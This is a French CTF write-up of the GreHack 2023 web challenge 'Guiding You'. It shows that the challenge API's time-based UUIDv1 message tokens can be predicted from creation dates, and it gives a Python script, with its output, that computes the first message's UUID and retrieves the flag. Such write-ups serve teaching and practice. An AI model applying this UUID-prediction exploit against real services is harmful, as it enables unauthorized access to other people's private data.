[GreHack 2023][Write Up – Web] Guiding You


Guiding You

A friend told me to ask for an audit before creating a front-end for my API. Please audit it, I’m sure it is very secure but who knows… I’ve created the first message, to make sure there are no bugs with my database being empty.

Author : Feelzor
URL : https://guiding-you.ctf.grehack.fr


Découverte

En allant sur l’URL, on découvre 3 endpoints qui vont nous être utiles :

  • /messages en GET qui liste les messages du site en incluant leurs IDs et leurs dates de création,
  • /messages en POST qui permet de créer un message et de récupérer l’uuid qui lui a été associé,
  • /messages/{id}?uuid={uuid} qui permet de récupérer le contenu d’un message depuis son id et son uuid.

D’après l’énoncé, on se doute que le but du challenge est de récupérer le contenu du message ayant l’id 1, il nous faut donc découvrir l’uuid associé à ce message.

Résolution

En insérant plusieurs messages dans la base, on s’aperçoit rapidement que les uuids ne sont pas aléatoires, la partie après le tiret ne semble pas varier ou très peu et quand on fait la différence entre les parties de gauche de 2 uuids de 2 messages envoyés avec peu de délai, on s’aperçoit qu’on retrouve la différence de secondes dans la différence des parties gauche des 2 uuids à un facteur 10000 près.

On peut généraliser avec tout l’uuid en l’arrangeant correctement : int.from_bytes(binascii.unhexlify( ».join(uuid.split(‘-‘)[::-1]))) et on peut généraliser avec toute la date : int(datetime.fromisoformat(date).timestamp() * 1000)

On a donc une correspondance directe entre les dates et les uuids, c’est gagné!

Il suffit donc de récupérer la date du message 1, la date d’un message dont on a l’uuid et le tour est joué, on n’aura plus qu’à retrouver l’uuid en faisant uuid1 = uuidm – ((datem – date1) * 10000)

J’ai donc écrit un petit script permettant d’automatiser tout ça :

import binascii
from datetime import datetime
import requests

TO_GET = 0

def get(fd, ld, lu):
    b = hex(int.from_bytes(binascii.unhexlify(''.join(lu.split('-')[::-1]))) - ((int(datetime.fromisoformat(ld).timestamp()*1000) - int(datetime.fromisoformat(fd).timestamp()*1000)) * 10000))[2:]
    return "{}-{}-{}-{}-{}".format(b[-8:], b[-12:-8], b[-16:-12], b[-20:-16], b[:-20])


if __name__ == "__main__":
    url = "https://guiding-you.ctf.grehack.fr/messages"
    r = requests.get(url).json()

    # Récupération de la date du message à l'ID 1
    fd = r[TO_GET]["created"]
    print(fd)

    r = requests.post(url, headers={"Content-Type": "application/json"}, json={"message": ""}).json()
    # Récupération de la date et de l'UUID d'un message
    ld = r[0]["created"]
    lu = r[0]["uuid"]
    print(ld, lu)

    uuid = get(fd, ld, lu)
    print(uuid)

    r = f"https://guiding-you.ctf.grehack.fr/messages/{TO_GET + 1}?uuid={uuid}"
    print(requests.get(r).json())

Après quelques essais infructueux que je ne m’explique pas, en relançant le script assez de fois, on finit par obtenir le flag :

2023-11-18T12:43:44.304Z
2023-11-18T13:30:11.644Z 996b90b0-8616-11ee-bdcb-75a030cac5af
1c093bf0-8610-11ee-bdcb-75a030cac5af
[{'id': 1, 'uuid': '1c093bf0-8610-11ee-bdcb-75a030cac5af', 'content': "Congratz! You're so strong and deserve a reward: GH{Using_GU1D_v1_is_not_th3_best!}", 'created': '2023-11-18T12:43:44.304Z'}]
HEADORTEILINGÉNIEUR SÉCURITÉ
Pentester & CTF enjoyer

Add a comment

*Please complete all fields correctly